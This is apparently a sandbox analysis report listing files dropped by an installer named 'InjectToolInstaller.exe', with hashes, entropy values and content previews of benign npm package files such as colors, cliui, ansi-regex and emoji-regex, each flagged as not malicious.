Preview:	{. "name": "@colors/colors",. "description": "get colors in your node.js console",. "version": "1.5.0",. "author": "DABH",. "contributors": [. {. "name": "DABH",. "url": "https://github.com/DABH". }. ],. "homepage": "https://github.com/DABH/colors.js",. "bugs": "https://github.com/DABH/colors.js/issues",. "keywords": [. "ansi",. "terminal",. "colors". ],. "repository": {. "type": "git",. "url": "http://github.com/DABH/colors.js.git". },. "license": "MIT",. "scripts": {. "lint": "eslint . --fix",. "test": "export FORCE_COLOR=1 && node tests/basic-test.js && node tests/safe-test.js". },. "engines": {. "node": ">=0.1.90". },. "main": "lib/index.js",. "files": [. "examples",. "lib",. "LICENSE",. "safe.js",. "themes",. "index.d.ts",. "safe.d.ts". ],. "devDependencies": {. "eslint": "

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@colors\colors\safe.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	4.706549727431777
Encrypted:	false
SSDEEP:	3:RFwcrMVZ/MWXcKoN3S0FuipqLvJj/IX4Ggju5X8e/oWHKHMS0RwVGKEGgjuLXPeW:bwcYzcXFuipqLZqT8OgaRmdL5eVA
MD5:	B9538BED90769A2FE122A57DC07A4943
SHA1:	A055C3C673FFE9DA4B9B6336F5D715B278913F19
SHA-256:	672CC883942925CE2E36076CCAF2D3CAF7DEB7C50FFE65601B40DE54281CD1C9
SHA-512:	6FFE8D8C31541379B076955390BCAFE9F38D51CF776C0F934FFC7E38BAC97485DE2B2F15F58A00CA9AF79CDD0195851B839DC760214DE4851545E0C18ADCC4F4
Malicious:	false
Preview:	//.// Remark: Requiring this file will use the "safe" colors API,.// which will not touch String.prototype..//.// var colors = require('colors/safe');.// colors.red("foo").//.//.var colors = require('./lib/colors');.module['exports'] = colors;.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@colors\colors\themes\generic-logging.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	199
Entropy (8bit):	4.372966494377215
Encrypted:	false
SSDEEP:	6:xpZIJ3YD4CiWyxJdtW8bfSSfFQKXJAwCfS2XTw:xD284+IS8ba9SO3fSH
MD5:	77A8C3B452702BDDC76E90F53E465FDF
SHA1:	7517E57D6DA65F3242DCD2D91A51C981BAFE7C48
SHA-256:	20A79C0ECF57FE4736D6F04F808A772A64A3700C1DB9DAD4CCB37269EB761223
SHA-512:	11C522D39409385E27B97CF4CA840234C26E4507B424BE5C9DEE77B519D84175B226819A2E9F0CC85AA4C577D4822C57FA9AABD39C532AA888A2B6B655504481
Malicious:	false
Preview:	module['exports'] = {. silly: 'rainbow',. input: 'grey',. verbose: 'cyan',. prompt: 'grey',. info: 'green',. data: 'grey',. help: 'cyan',. warn: 'yellow',. debug: 'blue',. error: 'red',.};.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	731
Entropy (8bit):	5.00963536194009
Encrypted:	false
SSDEEP:	12:QES4dCCbVmmgoKX9KsA8dXsTUXA3+vPRz2AtjNPpkhy2AsK2PF3ew:MIC0kos9iOjcEPRhp6zF3ew
MD5:	83623193D3051CA8068A89A455C699CA
SHA1:	039FA81EB89FC5C892F5CE2D22EE6AC0A8503880
SHA-256:	2DC0465729366C3A7890DFA9E972A1BA7048A26C02116FB8B419A6A1AC110149
SHA-512:	1FE7A70FDDF399F5703165FCA5355DC5FBB349E15A908DCA328E1CA99799B48EF59EE99DF54BF2E174D81F0B88E36C8B2BBA915A33D5719095D05AE6919E7E3C
Malicious:	false
Preview:	Copyright (c) 2015, Contributors..Permission to use, copy, modify, and/or distribute this software.for any purpose with or without fee is hereby granted, provided.that the above copyright notice and this permission notice.appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES.OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE.LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES.OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,.WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,.ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\build\index.cjs

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	10398
Entropy (8bit):	4.24439228190838
Encrypted:	false
SSDEEP:	192:/gFzQyF+TBn0VqDohmz8FFy/JG9jtUFhyhW6/npwzVtSvkxlIfjGcYxvkkMAyy46:/gjglSS/kT4U+/48x4Tiiq
MD5:	47DAE5DF7E3D5E0D94911F63B7DFCFB5
SHA1:	D48E8476113471B52120A1A5451A4F087C66FB0A
SHA-256:	820AA357A7F6A022BFC3AC6AC19D1681921D0421CAE898D5096423C0FB3B8607
SHA-512:	48D10D6D7B1D82819ADEC345C2813B29EDAFF8CF10C7F5CD1C43D7B6773D2FC0A7F96F6AD157CE2F37634CA2C7607A41D8A0F24CD7F56886A2DF6E6B1CBD30E2
Malicious:	false
Preview:	'use strict';..const align = {. right: alignRight,. center: alignCenter.};.const top = 0;.const right = 1;.const bottom = 2;.const left = 3;.class UI {. constructor(opts) {. var _a;. this.width = opts.width;. /* c8 ignore start /. this.wrap = (_a = opts.wrap) !== null && _a !== void 0 ? _a : true;. / c8 ignore stop */. this.rows = [];. }. span(...args) {. const cols = this.div(...args);. cols.span = true;. }. resetOutput() {. this.rows = [];. }. div(...args) {. if (args.length === 0) {. this.div('');. }. if (this.wrap && this.shouldApplyLayoutDSL(...args) && typeof args[0] === 'string') {. return this.applyLayoutDSL(args[0]);. }. const cols = args.map(arg => {. if (typeof arg === 'string') {. return this.colFromString(arg);. }. return arg;. });. this.rows.push(cols);. ret

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\build\index.d.cts

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1050
Entropy (8bit):	4.731847815460223
Encrypted:	false
SSDEEP:	24:zkf2+Pih/3cEqlDFH+1aCFzFwF0F1x97VnMoFsFiFYFgkyN1:Qf2+Pih3c/lRewOxo8kyL
MD5:	BBC26F6E5D9AF34A3996E8A0A70C909C
SHA1:	56D687354A1D13989B2FA9E5409799B4916B5A37
SHA-256:	385FCEBA2F49EE3F91CD436D3F84B389375E1E8F86906B23F47DF2E1B9C2B17B
SHA-512:	88A9FF3D161EB5CED567EFDC10E2DBDFE299EFB74987311F982FFD948345358F916190A6CD9A3E2071D020A0CDD2A72CF193895D1867C92F2AC8C6764DE15251
Malicious:	false
Preview:	interface UIOptions {. width: number;. wrap?: boolean;. rows?: string[];.}.interface Column {. text: string;. width?: number;. align?: "right" \| "left" \| "center";. padding: number[];. border?: boolean;.}.interface ColumnArray extends Array<Column> {. span: boolean;.}.interface Line {. hidden?: boolean;. text: string;. span?: boolean;.}.declare class UI {. width: number;. wrap: boolean;. rows: ColumnArray[];. constructor(opts: UIOptions);. span(...args: ColumnArray): void;. resetOutput(): void;. div(...args: (Column \| string)[]): ColumnArray;. private shouldApplyLayoutDSL;. private applyLayoutDSL;. private colFromString;. private measurePadding;. toString(): string;. rowToString(row: ColumnArray, lines: Line[]): Line[];. // if the full 'source' can render in. // the target line, do so.. private renderInline;. private rasterize;. private negatePadding;. private columnWidths;.}.declare function u

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\build\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10100
Entropy (8bit):	4.220914110527
Encrypted:	false
SSDEEP:	192:9gFzQyF+TBn0VqDohmz8FFy/JG9jtUFhyhW6/npwzVtSvkxlIfjGcYxvkkMAyy4/:9gjglSS/kT4U+/48x4TuY
MD5:	3DF08507EBEB83A522978C95A0E11631
SHA1:	D8BA04747A972E69C353347598653D250F644716
SHA-256:	E67B3446F47D4A672339C99BEA9E987979DA9FC70F421701814CB9D52BA176BA
SHA-512:	DD7529BFE3D73B4A9D4A6F969695218036D8CC4766872836EC814B4637C430FD7C8CE3719F2D1141965F4CB3A9F2C6BEC56B79212E1E6927D8A205385F6B464B
Malicious:	false
Preview:	'use strict';.const align = {. right: alignRight,. center: alignCenter.};.const top = 0;.const right = 1;.const bottom = 2;.const left = 3;.export class UI {. constructor(opts) {. var _a;. this.width = opts.width;. /* c8 ignore start /. this.wrap = (_a = opts.wrap) !== null && _a !== void 0 ? _a : true;. / c8 ignore stop */. this.rows = [];. }. span(...args) {. const cols = this.div(...args);. cols.span = true;. }. resetOutput() {. this.rows = [];. }. div(...args) {. if (args.length === 0) {. this.div('');. }. if (this.wrap && this.shouldApplyLayoutDSL(...args) && typeof args[0] === 'string') {. return this.applyLayoutDSL(args[0]);. }. const cols = args.map(arg => {. if (typeof arg === 'string') {. return this.colFromString(arg);. }. return arg;. });. this.rows.push(cols);.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\index.mjs

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	4.58780442827093
Encrypted:	false
SSDEEP:	6:jBWGzs8SCsFJKVvDA1cFTICvsJ/mZZYTKwSvGe2FFoU6:jkGzZnsFJiDAln+Ye/vs/i
MD5:	A2B246A7A0232E4C635709E49822B12E
SHA1:	3B8FA93AC8A7793DA40AD5B8F07DF2A4A8B9F700
SHA-256:	B75D22297E1BD8992F86218F1749435D05921D2D765697E46A43F680B2EDC859
SHA-512:	68FD2E514483534A63C30EE5F7AC79917478DE663324A47FF5C9E47532ACE13D1B584B940748AF9183D96440F8AD702324A0155F2331784D914C77942B370112
Malicious:	false
Preview:	// Bootstrap cliui with ESM dependencies:.import { cliui } from './build/lib/index.js'..import stringWidth from 'string-width'.import stripAnsi from 'strip-ansi'.import wrap from 'wrap-ansi'..export default function ui (opts) {. return cliui(opts, {. stringWidth,. stripAnsi,. wrap. }).}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\ansi-regex\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.538325101917328
Encrypted:	false
SSDEEP:	6:4i/mZwOcMDgIfrDpV5Q+CPUNUOBBLHzBBBBLb+B0qx2qb+79+U7s5j3nw4GRyjeK:4iknkIfrNV5QHUq+7kK+jALjK
MD5:	4B05188FFF08C3F12812C29561915D54
SHA1:	BD2DEC3594C15A8ED8CC9D45EE8C2A6FDEDCFB37
SHA-256:	110C5FE554ECCDDA9B95BE9A33EDD4D4E867C8432460A8F39C9B7FF841B00772
SHA-512:	894B656903A1875C37C5D7CD9AA14FA7613961FFDBEBC3CEDA6D9BA766D46FAF9369A811827389F6DCC101E65A7C935FB83E40AA707453FB203A675752370670
Malicious:	false
Preview:	export default function ansiRegex({onlyFirst = false} = {}) {..const pattern = [.. '[\\u001B\\u009B][[\\]()#;?](?:(?:(?:(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]+)\|[a-zA-Z\\d]+(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]))?\\u0007)',...'(?:(?:\\d{1,4}(?:;\\d{0,4})*)?[\\dA-PR-TZcf-ntqry=><~]))'..].join('\|');...return new RegExp(pattern, onlyFirst ? undefined : 'g');.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\ansi-regex\license

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (460)
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	5.079903213409815
Encrypted:	false
SSDEEP:	24:FHr4JHBH0yPP3gtAHw1hl9QHcsUv48Ok4/+dbo3oqxFD:FH8JplPvEDvQHcs5ITc3omFD
MD5:	D5F2A6DD0192DCC7C833E50BB9017337
SHA1:	80674912E3033BE358331910BA27D5812369C2FC
SHA-256:	5C932D88256B4AB958F64A856FA48E8BD1F55BC1D96B8149C65689E0C61789D3
SHA-512:	D1F336FF272BC6B96DC9A04A7D0EF8F02936DD594F514060340478EE575FE01D55FC7A174DF5814A4FAF72C8462B012998ECA7BB898E3F9A3E87205FB9135AF2
Malicious:	false
Preview:	MIT License..Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (https://sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\ansi-regex\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	958
Entropy (8bit):	4.795002151075833
Encrypted:	false
SSDEEP:	24:k13hxjBNowKXRJocLmhCQAdYTz1s5HxQ6xZeaImH:ERKRJoEoCQgYTz1IHxQeomH
MD5:	D2894A8EBBC4840E85527B8C051DAC86
SHA1:	DABD0C9882FB3B8C12222595FB92AD26B60671A1
SHA-256:	8A331BEBFC9225B6AFE7A15542843A78BA7943454B6261CFE60B734513E1D32C
SHA-512:	7266A2F0BBBC398C5E4A4F2D66670A205D1CD35F0D11A89840B56F221057776BDB54723D7D767DDBD1861379C01AC660FBBEB36DBB5374E53756AE9AFBC63E8C
Malicious:	false
Preview:	{.."name": "ansi-regex",.."version": "6.0.1",.."description": "Regular expression for matching ANSI escape codes",.."license": "MIT",.."repository": "chalk/ansi-regex",.."funding": "https://github.com/chalk/ansi-regex?sponsor=1",.."author": {..."name": "Sindre Sorhus",..."email": "sindresorhus@gmail.com",..."url": "https://sindresorhus.com"..},.."type": "module",.."exports": "./index.js",.."engines": {..."node": ">=12"..},.."scripts": {..."test": "xo && ava && tsd",..."view-supported": "node fixtures/view-codes.js"..},.."files": [..."index.js",..."index.d.ts"..],.."keywords": [..."ansi",..."styles",..."color",..."colour",..."colors",..."terminal",..."console",..."cli",..."string",..."tty",..."escape",..."formatting",..."rgb",..."256",..."shell",..."xterm",..."command-line",..."text",..."regex",..."regexp",..."re",..."match",..."test",..."find",..."pattern"..],.."devDependencies": {..."ava": "^3.15.0",..."tsd": "^0.14.0",..."xo": "^0.38.2"..}.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\emoji-regex\LICENSE-MIT.txt

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1077
Entropy (8bit):	5.103413017839314
Encrypted:	false
SSDEEP:	24:0RWyDiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:0RziJzfPvGt7ICQH+sfIte36AFD
MD5:	EE9BD8B835CFCD512DD644540DD96987
SHA1:	D7384CD3ED0C9614F87DDE0F86568017F369814C
SHA-256:	483ACB265F182907D1CAF6CFF9C16C96F31325ED23792832CC5D8B12D5F88C8A
SHA-512:	7D6B44BB658625281B48194E5A3D3A07452BEA1F256506DD16F7A21941EF3F0D259E1BCD0CC6202642BF1FD129BC187E6A3921D382D568D312BD83F3023979A0
Malicious:	false
Preview:	Copyright Mathias Bynens <https://mathiasbynens.be/>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR I

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\emoji-regex\RGI_Emoji.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (12899)
Category:	dropped
Size (bytes):	12976
Entropy (8bit):	3.9880853116245176
Encrypted:	false
SSDEEP:	96:4TtOjllm4Uh4zutkZyhRA4JUraRFsw7ZpqsFRatj9Fnkz+jmS0WVJK4m1io++Qdq:4VzTgMU4GgawCZlen
MD5:	ECFE555612280520671011F810C4705F
SHA1:	279C292E4C45265FA06A8957FDD6E1643FDBFD3E
SHA-256:	D02478271A0E0BA3A1753FFB2217ABA4FF6852ECC6833EEA880946B15103A8F9
SHA-512:	FFC5D3058D94B9ED1A6B259F8A095363BAA1C1C9809890552CB44D2887F8DE1448404BBD1D515C3713173CACC9ADBE2A47039F94FB908BD9A029AB805D011A59
Malicious:	false
Preview:	"use strict";..module.exports = function () {. // https://mths.be/emoji. return /\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62(?:\uDB40\uDC77\uDB40\uDC6C\uDB40\uDC73\|\uDB40\uDC73\uDB40\uDC63\uDB40\uDC74\|\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67)\uDB40\uDC7F\|(?:\uD83E\uDDD1\uD83C\uDFFF\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFF\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB-\uDFFE])\|(?:\uD83E\uDDD1\uD83C\uDFFE\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFE\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB-\uDFFD\uDFFF])\|(?:\uD83E\uDDD1\uD83C\uDFFD\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFD\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF])\|(?:\uD83E\uDDD1\uD83C\uDFFC\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFC\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB\uD

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\emoji-regex\es2015\RGI_Emoji.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (13953)
Category:	dropped
Size (bytes):	14024
Entropy (8bit):	4.16449596350378
Encrypted:	false
SSDEEP:	192:4UyCa20qNgG/kFBEKT4BlvFuTMS8Z4wZQZotVNZl8b2vKO9XuLYRfTAkCwtU1kIN:4Vg4LYVNn8b8K+eLWD7Gxus
MD5:	C356C4D646D1460F1D61617DBF60522E
SHA1:	780B5F3A12284F0DCC50DDFBAC2611C79535C719
SHA-256:	6EF32D4593F0F75CC80D87D49EBA6C635A6AC9B5E0F8202520A6027277A7134E
SHA-512:	7B718C09EC52375BDC321865A5230F52F038CBEFFF170A71D85670876E8BBA34A4F36ABDEA8A7C07AC1C446C2F4FB681ACC0E340F903C8DC2F084104ADEE7CDE
Malicious:	false
Preview:	"use strict";..module.exports = () => {. // https://mths.be/emoji. return /\u{1F3F4}\u{E0067}\u{E0062}(?:\u{E0077}\u{E006C}\u{E0073}\|\u{E0073}\u{E0063}\u{E0074}\|\u{E0065}\u{E006E}\u{E0067})\u{E007F}\|(?:\u{1F9D1}\u{1F3FF}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FF}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}-\u{1F3FE}]\|(?:\u{1F9D1}\u{1F3FE}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FE}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}-\u{1F3FD}\u{1F3FF}]\|(?:\u{1F9D1}\u{1F3FD}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FD}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}\u{1F3FC}\u{1F3FE}\u{1F3FF}]\|(?:\u{1F9D1}\u{1F3FC}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FC}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}\u{1F3FD}-\u{1F3FF}]\|(?:\u{1F9D1}\u{1F3FB}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FB}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\emoji-regex\es2015\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (17334)
Category:	dropped
Size (bytes):	17405
Entropy (8bit):	4.165691132561316
Encrypted:	false
SSDEEP:	192:4UyCa20qNgG/kFBEKT4BlvFuTMS8Z4wZQZotVNZl8b2vKO9XuLYRfTAkCwtU1kI7:4Vg4LYVNn8b8K+eLWD7GxusJ/DdVd5
MD5:	C934D55B9F92A8D3BEA1F6A87FA56533
SHA1:	FA44CE6A357BBF705C09E42D5CDB194F59C1E79A
SHA-256:	8899E020A16B1D0647C6BBD84E17592F1DEF5E65F4818FD7C21C0F10008B04DD
SHA-512:	90E3AEC17C5D211E1C5DBE6ADFE44CC2FA2306CBA93C247901C00D94125037DD6473615A11C720668CACA4167B7EF5DE278D3C2879BE8F357B9EE5D6E783F2B3
Malicious:	false
Preview:	"use strict";..module.exports = () => {. // https://mths.be/emoji. return /\u{1F3F4}\u{E0067}\u{E0062}(?:\u{E0077}\u{E006C}\u{E0073}\|\u{E0073}\u{E0063}\u{E0074}\|\u{E0065}\u{E006E}\u{E0067})\u{E007F}\|(?:\u{1F9D1}\u{1F3FF}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FF}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}-\u{1F3FE}]\|(?:\u{1F9D1}\u{1F3FE}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FE}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}-\u{1F3FD}\u{1F3FF}]\|(?:\u{1F9D1}\u{1F3FD}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FD}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}\u{1F3FC}\u{1F3FE}\u{1F3FF}]\|(?:\u{1F9D1}\u{1F3FC}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FC}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}\u{1F3FD}-\u{1F3FF}]\|(?:\u{1F9D1}\u{1F3FB}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FB}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\emoji-regex\es2015\text.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (15725)
Category:	dropped
Size (bytes):	15796
Entropy (8bit):	4.171801301803633
Encrypted:	false
SSDEEP:	192:4UyCa20qNgG/kFBEKT4BlvFuTMS8Z4wZQZotVNZl8b2vKO9XuLYRfTAkCwtU1kIr:4Vg4LYVNn8b8K+eLWD7GxuzDdVm
MD5:	12148D2DFF9CA3478E4467945663FA70
SHA1:	50998482C521255AF2760ED95BBDB1C4F7387212
SHA-256:	1FB82C82D847EBC4AA287F481FF67C8CC9BDE03149987B2D43EB0DEE2A5160B6
SHA-512:	F9F6A61AF37D1924E3A9785AA04A33FA0107791D54CB07663C6EA8A68EDFAE3766682E914B6AFAF198EB97C7F73AB53AA500B4661CDABDEBD2576526664166F4
Malicious:	false
Preview:	"use strict";..module.exports = () => {. // https://mths.be/emoji. return /\u{1F3F4}\u{E0067}\u{E0062}(?:\u{E0077}\u{E006C}\u{E0073}\|\u{E0073}\u{E0063}\u{E0074}\|\u{E0065}\u{E006E}\u{E0067})\u{E007F}\|(?:\u{1F9D1}\u{1F3FF}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FF}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}-\u{1F3FE}]\|(?:\u{1F9D1}\u{1F3FE}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FE}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}-\u{1F3FD}\u{1F3FF}]\|(?:\u{1F9D1}\u{1F3FD}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FD}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}\u{1F3FC}\u{1F3FE}\u{1F3FF}]\|(?:\u{1F9D1}\u{1F3FC}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FC}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}\u{1F3FD}-\u{1F3FF}]\|(?:\u{1F9D1}\u{1F3FB}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FB}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\emoji-regex\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (15658)
Category:	dropped
Size (bytes):	15735
Entropy (8bit):	4.002067802016125
Encrypted:	false
SSDEEP:	96:4TtOjllm4Uh4zutkZyhRA4JUraRFsw7ZpqsFRatj9Fnkz+jmS0WVJK4m1io++Qde:4VzTgMU4GgawCZleYwZG038y
MD5:	D59A0C2EBD6EEA2ECDE91D5D8DB69597
SHA1:	415B8552CC069B0B51EC9A0D11E674D0D7BCE944
SHA-256:	0766305FAF3D167FFD85AD6B6D52C80BFEBB90187D83EA6F96ED84B583777E95
SHA-512:	5F33674CBB42282D829E9CE33AD638996166FBD84295886EC9868242C3B3C18A685CF22CAD32563C607182EAD141B872F3A9D69B8608B2CF700336E1D48EADE5
Malicious:	false
